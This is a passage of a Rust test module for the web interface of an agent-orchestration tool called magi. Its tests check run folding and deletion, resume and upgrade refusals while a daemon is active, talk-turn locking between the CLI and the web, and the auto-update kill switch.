20995            .expect("updateRunCard exists");
20996        let end = APP_JS
20997            .find("function renderRuns")
20998            .expect("renderRuns exists");
20999
21000        // The builder's published set: the object literal assigned to `refs`.
21001        let builder = &APP_JS[build..update];
21002        let open = builder.find("refs = {").expect("createRunCard sets refs");
21003        let literal = &builder[open + "refs = {".len()..];
21004        let close = literal.find('}').expect("the refs literal is closed");
21005        let published: HashSet<&str> = literal[..close]
21006            .split(',')
21007            // `name` and `name: value` both bind `name`.
21008            .filter_map(|entry| entry.split(':').next())
21009            .map(str::trim)
21010            .filter(|name| !name.is_empty())
21011            .collect();
21012        assert!(
21013            published.len() > 5,
21014            "the refs literal did not parse into names: {published:?}"
21015        );
21016
21017        // What the updaters reach for: every `r.<name>`, where `r` is the
21018        // `const r = row.refs` alias both functions open with.
21019        let mut used: Vec<&str> = Vec::new();
21020        let updaters = &APP_JS[update..end];
21021        for (at, _) in updaters.match_indices("r.") {
21022            // `r` must be the whole identifier, not the tail of another one
21023            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
21024            let before = updaters[..at].chars().next_back();
21025            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21026                continue;
21027            }
21028            let rest = &updaters[at + 2..];
21029            let len = rest
21030                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21031                .unwrap_or(rest.len());
21032            if len > 0 {
21033                used.push(&rest[..len]);
21034            }
21035        }
21036        assert!(
21037            used.len() > 5,
21038            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21039        );
21040
21041        let missing: Vec<&str> = used
21042            .iter()
21043            .copied()
21044            .filter(|name| !published.contains(name))
21045            .collect();
21046        assert!(
21047            missing.is_empty(),
21048            "a run card's updater reaches for {missing:?}, which `createRunCard` \
21049             never put in `refs` - every card will throw and the list will \
21050             render empty under a count line that says otherwise. Published: \
21051             {published:?}"
21052        );
21053    }
21054
21055    #[tokio::test]
21056    async fn folding_from_the_phone_reports_what_it_removed() {
21057        let fx = Fixture::start().await;
21058        let runs = fx.runs();
21059
21060        // A run with no candidates has nothing to fold, which is a 200 with an
21061        // honest count rather than an error: the operator asked for the trees
21062        // to be gone and they are.
21063        let id = "20260901-000000-fold";
21064        write_run(&runs, id, RunStatus::Stalled);
21065        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21066        assert_eq!(res.status, 200);
21067        assert_eq!(res.json()["removed_count"], 0);
21068        assert_eq!(res.json()["run"], id);
21069        assert!(
21070            runs.join(id).exists(),
21071            "a fold keeps the run's record; only the worktrees go"
21072        );
21073    }
21074
21075    #[tokio::test]
21076    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21077        let fx = Fixture::start().await;
21078        let runs = fx.runs();
21079        let wt = fx.home.path().join("wt").join("magi").join("dead");
21080        let id = "20260901-000000-dead";
21081        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21082        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21083        std::fs::create_dir_all(&wt).expect("worktree dir");
21084
21085        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21086        assert_eq!(res.status, 200, "{}", res.body);
21087        assert!(
21088            res.json()["removed_count"].as_u64().unwrap() > 0,
21089            "the worktree this build could not read a state for still went"
21090        );
21091        assert!(
21092            !runs.join(id).exists(),
21093            "an unreadable run has no candidate list to fold selectively, so \
21094             the whole record goes - same as `magi fold` on the CLI"
21095        );
21096    }
21097
21098    #[tokio::test]
21099    async fn deleting_an_unreadable_run_removes_it_wholesale() {
21100        let fx = Fixture::start().await;
21101        let runs = fx.runs();
21102        let wt = fx.home.path().join("wt").join("magi").join("gone");
21103        let id = "20260901-000000-gone";
21104        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21105        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21106        std::fs::create_dir_all(&wt).expect("worktree dir");
21107
21108        let res = fx.delete(&format!("/api/runs/{id}")).await;
21109        assert_eq!(res.status, 204, "{}", res.body);
21110        assert!(!runs.join(id).exists(), "the broken record is gone");
21111        assert!(!wt.exists(), "its worktree is gone too");
21112    }
21113
21114    #[tokio::test]
21115    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21116        let fx = Fixture::start().await;
21117        let runs = fx.runs();
21118        let id = "20260901-000000-live";
21119        write_run(&runs, id, RunStatus::Implementing);
21120
21121        let mut beat = crate::daemon::Status::new();
21122        beat.current = vec![crate::daemon::Current {
21123            task: "20260901-000000-task".to_owned(),
21124            run: id.to_owned(),
21125        }];
21126        beat.updated_at = jiff::Timestamp::now();
21127        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21128            .expect("publish a heartbeat");
21129
21130        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21131        assert_eq!(res.status, 409);
21132        assert!(
21133            res.json()["error"]
21134                .as_str()
21135                .unwrap()
21136                .contains("live daemon"),
21137            "folding under a running agent would pull its worktree away"
21138        );
21139    }
21140
21141    #[tokio::test]
21142    async fn fold_merged_requires_a_pr_url() {
21143        let fx = Fixture::start().await;
21144        let runs = fx.runs();
21145        let id = "20260901-000000-nourl";
21146        write_run(&runs, id, RunStatus::Blocked);
21147
21148        let res = fx
21149            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21150            .await;
21151        assert_eq!(res.status, 400, "{}", res.body);
21152
21153        let blank = fx
21154            .post(
21155                &format!("/api/runs/{id}/fold-merged"),
21156                Some(r#"{"pr_url":"   "}"#),
21157            )
21158            .await;
21159        assert_eq!(blank.status, 400, "{}", blank.body);
21160    }
21161
21162    #[tokio::test]
21163    async fn fold_merged_is_404_for_an_unknown_run() {
21164        let fx = Fixture::start().await;
21165        let res = fx
21166            .post(
21167                "/api/runs/nosuchrun/fold-merged",
21168                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21169            )
21170            .await;
21171        assert_eq!(res.status, 404, "{}", res.body);
21172    }
21173
21174    #[tokio::test]
21175    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21176        let fx = Fixture::start().await;
21177        let runs = fx.runs();
21178        let id = "20260901-000000-livemerge";
21179        write_run(&runs, id, RunStatus::Blocked);
21180
21181        let mut beat = crate::daemon::Status::new();
21182        beat.current = vec![crate::daemon::Current {
21183            task: "20260901-000000-task".to_owned(),
21184            run: id.to_owned(),
21185        }];
21186        beat.updated_at = jiff::Timestamp::now();
21187        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21188            .expect("publish a heartbeat");
21189
21190        let res = fx
21191            .post(
21192                &format!("/api/runs/{id}/fold-merged"),
21193                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21194            )
21195            .await;
21196        assert_eq!(res.status, 409, "{}", res.body);
21197        assert!(
21198            res.json()["error"]
21199                .as_str()
21200                .unwrap()
21201                .contains("live daemon"),
21202            "correcting a run's merge underneath a running agent would race \
21203             whatever it is doing to the same `status`/`merge` fields"
21204        );
21205    }
21206
21207    /// A pull request `gh` cannot even ask about (no such remote, no such
21208    /// repository) must never be recorded as a merge on a guess - the same
21209    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
21210    /// command line, reached here through the phone route instead.
21211    #[tokio::test]
21212    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21213        let fx = Fixture::start().await;
21214        let runs = fx.runs();
21215        let id = "20260901-000000-unconfirmed";
21216        write_run(&runs, id, RunStatus::Blocked);
21217
21218        let res = fx
21219            .post(
21220                &format!("/api/runs/{id}/fold-merged"),
21221                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21222            )
21223            .await;
21224        assert_eq!(res.status, 400, "{}", res.body);
21225        assert_eq!(
21226            read_run(&runs, id).unwrap().status,
21227            RunStatus::Blocked,
21228            "a pull request that could not be confirmed merged must leave \
21229             the run exactly where it was"
21230        );
21231    }
21232
21233    #[tokio::test]
21234    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
21235        let fx = Fixture::start().await;
21236        let runs = fx.runs();
21237
21238        // Only a finished run and a failed one. An *interrupted* run - a
21239        // parked one, or one whose daemon was killed mid-node - is the case
21240        // resuming exists for: run 4043 sat at `reviewing` with the deck
21241        // saying it could not be resumed, which was the one state where
21242        // resuming was the only sensible answer.
21243        for (status, word) in [
21244            (RunStatus::Merged, "merged"),
21245            (RunStatus::Ready, "ready"),
21246            (RunStatus::Failed, "failed"),
21247        ] {
21248            let id = format!("20260901-000000-{}", &word[..4]);
21249            write_run(&runs, &id, status);
21250            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21251            assert_eq!(res.status, 409, "{word} must not be resumable");
21252            let err = res.json()["error"].as_str().unwrap().to_owned();
21253            assert!(err.contains(word), "the refusal names the status: {err}");
21254        }
21255
21256        // And an interrupted run is accepted: 202, with the resume running in
21257        // the background. `Runner::resume` fails immediately here - the
21258        // fixture's run points at a repository that does not exist - which is
21259        // the point: the handler must not wait for it to find out.
21260        let mid = "20260901-000000-midf";
21261        write_run(&runs, mid, RunStatus::Reviewing);
21262        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
21263        assert_eq!(res.status, 202, "an interrupted run is resumable");
21264    }
21265
21266    #[tokio::test]
21267    async fn resume_is_refused_while_the_loop_is_running() {
21268        let fx = Fixture::start().await;
21269        let runs = fx.runs();
21270        let stalled = "20260901-000000-stal";
21271        write_run(&runs, stalled, RunStatus::Stalled);
21272
21273        // The loop is busy with a *different* run, and that is still a
21274        // refusal: a manual resume must never race whatever the loop itself
21275        // is already driving, whether that is one run or several.
21276        let mut beat = crate::daemon::Status::new();
21277        beat.current = vec![crate::daemon::Current {
21278            task: "20260901-000000-task".to_owned(),
21279            run: "20260901-000000-othr".to_owned(),
21280        }];
21281        beat.updated_at = jiff::Timestamp::now();
21282        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21283            .expect("publish a heartbeat");
21284
21285        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21286        assert_eq!(res.status, 409);
21287        let err = res.json()["error"].as_str().unwrap().to_owned();
21288        assert!(err.contains("othr"), "it names what the loop is on: {err}");
21289        assert!(err.contains("stop it first"), "{err}");
21290    }
21291
21292    #[test]
21293    fn a_run_cannot_be_resumed_twice_at_once() {
21294        let home = TempDir::new().expect("temp home");
21295        let ui = Ui::new(
21296            Queue::at(home.path().join("queue")),
21297            Questions::at(home.path().join("questions")),
21298            Talks::at(home.path().join("talks")),
21299            home.path().join("runs"),
21300            home.path().to_path_buf(),
21301            PathBuf::from("/repo"),
21302        )
21303        .with_worktrees_root(home.path().join("wt"));
21304        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21305        let again = ui.begin_resume("20260901-000000-once");
21306        assert!(again.is_err(), "a second tap must not start a second graph");
21307        drop(first);
21308        assert!(
21309            ui.begin_resume("20260901-000000-once").is_ok(),
21310            "and the claim is released when the attempt ends"
21311        );
21312    }
21313
21314    #[test]
21315    fn talk_thinking_tracks_only_its_held_turn_claim() {
21316        let home = TempDir::new().expect("temp home");
21317        let ui = Ui::new(
21318            Queue::at(home.path().join("queue")),
21319            Questions::at(home.path().join("questions")),
21320            Talks::at(home.path().join("talks")),
21321            home.path().join("runs"),
21322            home.path().to_path_buf(),
21323            PathBuf::from("/repo"),
21324        )
21325        .with_worktrees_root(home.path().join("wt"));
21326        let id = "20260901-000000-once";
21327
21328        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
21329        let turn = ui.begin_talk_turn(id).expect("claim turn");
21330        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
21331        assert!(
21332            !ui.is_thinking("20260901-000000-other"),
21333            "one talk's turn does not make another talk busy"
21334        );
21335        drop(turn);
21336        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
21337    }
21338
21339    #[test]
21340    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
21341        let home = TempDir::new().expect("temp home");
21342        let talks = Talks::at(home.path().join("talks"));
21343        let ui = Ui::new(
21344            Queue::at(home.path().join("queue")),
21345            Questions::at(home.path().join("questions")),
21346            talks.clone(),
21347            home.path().join("runs"),
21348            home.path().to_path_buf(),
21349            PathBuf::from("/repo"),
21350        )
21351        .with_worktrees_root(home.path().join("wt"));
21352        let id = "20260901-000000-cross";
21353
21354        let other = Talks::at(home.path().join("talks"))
21355            .claim_turn(id)
21356            .expect("claim")
21357            .expect("the other process wins");
21358        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
21359        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
21360        assert!(
21361            matches!(
21362                ui.begin_talk_turn_unless_pending(id).expect("start"),
21363                TalkTurnStart::Foreign
21364            ),
21365            "a foreign holder is refused, not queued behind"
21366        );
21367        assert!(
21368            !ui.talk_turns.lock().unwrap().live.contains(id),
21369            "a refused claim leaves no in-process entry behind"
21370        );
21371        drop(other);
21372        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
21373        assert!(talks.turn_held(id), "the web turn holds the lease");
21374        drop(turn);
21375        assert!(
21376            !talks.turn_held(id),
21377            "dropping the guard releases the lease"
21378        );
21379    }
21380
21381    fn consult_question(ui: &Ui) -> Question {
21382        let mut q = Question::new(
21383            "20260901-000000-consult".to_owned(),
21384            "implement".to_owned(),
21385            "impl-A".to_owned(),
21386            "Which backend?".to_owned(),
21387            String::new(),
21388            vec!["SQLite".to_owned(), "Redis".to_owned()],
21389        );
21390        ui.questions.put(&mut q).expect("question");
21391        q
21392    }
21393
21394    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
21395        (
21396            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
21397            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
21398        )
21399    }
21400
21401    #[tokio::test]
21402    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
21403        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21404        let q = consult_question(&ui);
21405        let talk = ui.talks.get(&id).expect("talk");
21406        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
21407        let before = consult_snapshot(&ui, &q, &id);
21408        let cli_talks = Talks::at(ui.home.join("talks"));
21409        assert_eq!(
21410            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
21411                .await
21412                .expect("CLI starter"),
21413            crate::consult::Started::Busy
21414        );
21415        assert_eq!(consult_snapshot(&ui, &q, &id), before);
21416        assert!(ui.is_thinking(&id));
21417        drop(guard);
21418        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
21419    }
21420
21421    #[tokio::test]
21422    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
21423        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21424        let q = consult_question(&ui);
21425        let talk = ui.talks.get(&id).expect("talk");
21426        let started = tmp.path().join("started");
21427        let release = tmp.path().join("release");
21428        let script = tmp.path().join("consult-agent.sh");
21429        std::fs::write(
21430            &script,
21431            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
21432        )
21433        .expect("script");
21434        let mut cfg = stub_config();
21435        cfg.agents[0].id = "mock".to_owned();
21436        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
21437        cfg.agents[0].env = std::collections::BTreeMap::from([
21438            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
21439            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
21440        ]);
21441        let questions = ui.questions.clone();
21442        let cli_talks = Talks::at(ui.home.join("talks"));
21443        let cli_q = q.clone();
21444        let turn = tokio::spawn(async move {
21445            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
21446        });
21447        let ready = tokio::time::timeout(Duration::from_secs(30), async {
21448            while !started.exists() {
21449                tokio::time::sleep(Duration::from_millis(10)).await;
21450            }
21451        })
21452        .await;
21453        // Always release and join the agent, even if readiness or the web
21454        // request fails, so a failed assertion cannot leave a turn behind.
21455        let refusal = if ready.is_ok() {
21456            let before = consult_snapshot(&ui, &q, &id);
21457            let result = talk_say(
21458                State(Arc::clone(&ui)),
21459                Path(id.clone()),
21460                Ok(Json(NewTalkTurn {
21461                    reply_to: None,
21462                    text: "another message".to_owned(),
21463                    attachments: Vec::new(),
21464                })),
21465            )
21466            .await;
21467            Some((result, before, consult_snapshot(&ui, &q, &id)))
21468        } else {
21469            None
21470        };
21471        std::fs::write(&release, "").expect("release agent");
21472        let done = turn.await.expect("join CLI turn");
21473        ready.expect("agent started before deadline");
21474        let (result, before, after) = refusal.expect("web request");
21475        let error = result.expect_err("web must refuse the CLI's turn");
21476        assert_eq!(error.status, StatusCode::CONFLICT);
21477        assert!(error.message.contains("a turn is already running"));
21478        assert_eq!(
21479            after, before,
21480            "refusal preserves question, draft and history"
21481        );
21482        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
21483        let guard = ui
21484            .begin_talk_turn(&id)
21485            .expect("web claim")
21486            .expect("free again");
21487        drop(guard);
21488    }
21489
21490    #[test]
21491    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
21492        let home = TempDir::new().expect("temp home");
21493        let talks = Talks::at(home.path().join("talks"));
21494        let ui = Ui::new(
21495            Queue::at(home.path().join("queue")),
21496            Questions::at(home.path().join("questions")),
21497            talks.clone(),
21498            home.path().join("runs"),
21499            home.path().to_path_buf(),
21500            PathBuf::from("/repo"),
21501        )
21502        .with_worktrees_root(home.path().join("wt"));
21503        let id = "20260901-000000-order";
21504        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21505        // Hold the slot mutex so the drop can finish the lease but not the slot.
21506        let slots = ui.talk_turns.lock().unwrap();
21507        let dropper = std::thread::spawn(move || drop(turn));
21508        let start = std::time::Instant::now();
21509        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
21510            std::thread::sleep(Duration::from_millis(5));
21511        }
21512        assert!(!talks.turn_held(id), "the lease is released first");
21513        assert!(slots.live.contains(id), "the slot is still held meanwhile");
21514        drop(slots);
21515        dropper.join().expect("join");
21516        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
21517    }
21518
21519    #[tokio::test]
21520    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
21521        let fx = Fixture::start().await;
21522        // Somebody else's `magi serve` owns the queue. Replacing this binary
21523        // would leave that process running an old one against the same
21524        // claims, which is worse than refusing.
21525        let mut beat = crate::daemon::Status::new();
21526        beat.pid = 4321;
21527        beat.updated_at = jiff::Timestamp::now();
21528        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21529            .expect("publish a heartbeat");
21530
21531        let res = fx.post("/api/upgrade", None).await;
21532        assert_eq!(res.status, 409);
21533        let err = res.json()["error"].as_str().unwrap().to_owned();
21534        assert!(err.contains("4321"), "the refusal names the owner: {err}");
21535        assert!(err.contains("old one against the same queue"), "{err}");
21536    }
21537
21538    /// [`should_spawn_recheck`] must refuse for the same two reasons
21539    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
21540    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
21541    /// Purely a predicate over config and the environment - no network, no
21542    /// disk, no runtime - so unlike the fixture-based tests around it this
21543    /// one needs neither.
21544    #[test]
21545    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
21546        assert!(!should_spawn_recheck(&crate::config::Update {
21547            mode: UpdateMode::Off,
21548            interval: None,
21549        }));
21550
21551        // SAFETY: single-threaded as far as this variable goes, the same
21552        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
21553        unsafe {
21554            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21555        }
21556        let killed = should_spawn_recheck(&crate::config::Update {
21557            mode: UpdateMode::Notify,
21558            interval: None,
21559        });
21560        unsafe {
21561            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21562        }
21563        assert!(
21564            !killed,
21565            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
21566             one-time startup check"
21567        );
21568
21569        assert!(should_spawn_recheck(&crate::config::Update {
21570            mode: UpdateMode::Notify,
21571            interval: None,
21572        }));
21573    }
21574
21575    /// [`recheck_poll_period`] must track a configured `[update] interval`
21576    /// shorter than its own default ceiling - a fixed sleep here would leave
21577    /// an operator's short interval waiting on the next wake-up instead of on
21578    /// `should_check`, which is the same bug this whole task exists to fix,
21579    /// just one level down.
21580    #[test]
21581    fn recheck_poll_period_tracks_a_short_configured_interval() {
21582        let short = crate::config::Update {
21583            mode: UpdateMode::Notify,
21584            interval: Some("1m".to_owned()),
21585        };
21586        let period = recheck_poll_period(&short);
21587        assert!(
21588            period <= Duration::from_secs(30),
21589            "a one-minute interval must wake the task far sooner than the \
21590             default ceiling, or the deck would not notice within the \
21591             interval the operator configured: got {period:?}"
21592        );
21593
21594        let default = crate::config::Update {
21595            mode: UpdateMode::Notify,
21596            interval: None,
21597        };
21598        assert_eq!(
21599            recheck_poll_period(&default),
21600            UPDATE_RECHECK_POLL_MAX,
21601            "the default day-long interval should poll at the (capped) \
21602             ceiling rather than needlessly often"
21603        );
21604    }
21605
21606    /// [`update_recheck_due`] must not repeat a check made moments ago, the
21607    /// same throttle `updater::Checker::should_check` already gives the
21608    /// CLI's notify mode. Built over an explicit state file via
21609    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
21610    /// write the operator's real `last_update_check.json` - and therefore
21611    /// cannot flake on whatever that file happens to say on the machine
21612    /// running the test.
21613    #[test]
21614    fn recheck_skips_the_network_before_the_interval_elapses() {
21615        let dir = TempDir::new().expect("temp dir");
21616        let path = dir.path().join("state.json");
21617        let state = kaishin::UpdateCheckState {
21618            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
21619            last_known_latest: None,
21620            last_known_url: None,
21621        };
21622        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
21623
21624        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
21625        assert!(
21626            !update_recheck_due(&checker, None),
21627            "a check made moments ago must not be repeated before the \
21628             configured interval elapses"
21629        );
21630    }
21631
21632    /// An upgrade this deck already started must not be raced by a recheck
21633    /// that discovers a newer release mid-install - regardless of what
21634    /// `should_check` says, which is why the state file here is missing
21635    /// entirely: read alone, that alone would answer "never checked, go
21636    /// ahead".
21637    #[test]
21638    fn recheck_defers_to_an_upgrade_already_in_flight() {
21639        let dir = TempDir::new().expect("temp dir");
21640        let path = dir.path().join("state.json");
21641        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
21642        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
21643
21644        assert!(
21645            !update_recheck_due(&checker, Some(&progress)),
21646            "a recheck must not run while an upgrade this deck started is \
21647             still moving"
21648        );
21649    }
21650
21651    #[tokio::test]
21652    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
21653        // The same env var the background check honours (`disabled_by_env`)
21654        // must also stop a button press before it ever calls
21655        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
21656        // means "never contact GitHub from this process", and a tap on the
21657        // upgrade button must not override that any more than a broken
21658        // `magi.toml` may. Left unset, this fixture's default config would
21659        // otherwise reach a real, unauthenticated GitHub call.
21660        //
21661        // SAFETY: single-threaded as far as this variable goes - nothing else
21662        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
21663        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
21664        unsafe {
21665            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21666        }
21667        let fx = Fixture::start().await;
21668        let res = fx.post("/api/upgrade", None).await;
21669        unsafe {
21670            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21671        }
21672        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21673        let body = res.json();
21674        assert!(body["to"].is_null(), "there was no release to move to");
21675        assert!(body["parked"].is_null(), "and nothing was parked");
21676        assert!(
21677            body["detail"]
21678                .as_str()
21679                .unwrap()
21680                .contains("disabled by MAGI_NO_AUTOUPDATE"),
21681            "{body:?}"
21682        );
21683    }
21684
21685    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
21686        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
21687        p.stage = stage;
21688        p
21689    }
21690
21691    #[test]
21692    fn busy_stages_match_the_ui_set() {
21693        use crate::updater::Stage;
21694        assert!(APP_JS.contains(
21695            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
21696        ));
21697        for s in [
21698            Stage::Downloading,
21699            Stage::Replaced,
21700            Stage::Parking,
21701            Stage::Restarting,
21702        ] {
21703            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
21704        }
21705        for s in [Stage::Done, Stage::Failed] {
21706            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
21707        }
21708        assert!(upgrade_in_motion(None).is_none());
21709    }
21710
21711    #[tokio::test]
21712    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
21713        use crate::updater::Stage;
21714        for stage in [
21715            Stage::Downloading,
21716            Stage::Replaced,
21717            Stage::Parking,
21718            Stage::Restarting,
21719        ] {
21720            let fx = Fixture::start().await;
21721            let seeded = seeded_progress(stage);
21722            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
21723            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21724                .expect("read");
21725
21726            let res = fx.post("/api/upgrade", None).await;
21727            assert_eq!(res.status, 409, "{stage:?}");
21728            let err = res.json()["error"].as_str().unwrap().to_owned();
21729            assert!(err.contains("already in progress"), "{err}");
21730            assert!(err.contains(stage.as_str()), "{err}");
21731
21732            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21733                .expect("read");
21734            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
21735            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
21736                .unwrap_or_default();
21737            assert!(!log.contains("signalling HANDOVER"), "{log}");
21738        }
21739    }
21740
21741    #[test]
21742    fn upgrade_retry_timing_only_parses_known_diagnostics() {
21743        assert_eq!(
21744            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
21745            Some(3723)
21746        );
21747        assert_eq!(
21748            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
21749            Some(60)
21750        );
21751        assert_eq!(
21752            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
21753            Some(0)
21754        );
21755        for message in [
21756            "permission denied",
21757            "GitHub API rate limit exceeded",
21758            "GitHub rate limit (resets in unknown)",
21759            "GitHub rate limit (resets in 18446744073709551615d)",
21760        ] {
21761            assert_eq!(upgrade_retry_after(message), None, "{message}");
21762        }
21763    }
21764
21765    #[tokio::test]
21766    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
21767        let home = TempDir::new().unwrap();
21768        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
21769        ui.start_loop(None).unwrap();
21770        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
21771        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
21772        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
21773        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
21774        let response = finish_upgrade_request(&ui, result);
21775        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
21776        assert_eq!(response.headers()["retry-after"], "120");
21777        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
21778            .await
21779            .unwrap();
21780        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
21781        assert!(body["error"].as_str().unwrap().contains(reason));
21782        assert_eq!(body["retry_after_secs"], 120);
21783        assert!(body["retry_at"].as_u64().is_some());
21784        for _ in 0..2 {
21785            let view = health(State(ui.clone())).await.unwrap().0;
21786            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
21787            assert_eq!(failure, body);
21788        }
21789        assert_eq!(
21790            std::fs::read(updater::progress_path(home.path())).unwrap(),
21791            before
21792        );
21793        assert!(!ui.lock_loop().resume_after_handover);
21794        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
21795        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
21796        // A conflicting request must not erase the actionable earlier failure.
21797        let gate = ui.upgrade_gate.lock().await;
21798        assert_eq!(
21799            upgrade_post(State(ui.clone())).await.status(),
21800            StatusCode::CONFLICT
21801        );
21802        drop(gate);
21803        assert!(
21804            health(State(ui.clone()))
21805                .await
21806                .unwrap()
21807                .0
21808                .upgrade_request_error
21809                .is_some()
21810        );
21811        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
21812        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
21813        assert!(
21814            health(State(ui.clone()))
21815                .await
21816                .unwrap()
21817                .0
21818                .upgrade_request_error
21819                .is_none()
21820        );
21821        let live = ui.lock_loop().live.take().unwrap();
21822        live.stop.stop();
21823        live.handle.await.unwrap();
21824    }
21825
21826    #[tokio::test]
21827    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
21828        use crate::updater::Stage;
21829        let repo = TempDir::new().expect("repo dir");
21830        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21831            .expect("write magi.toml");
21832        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
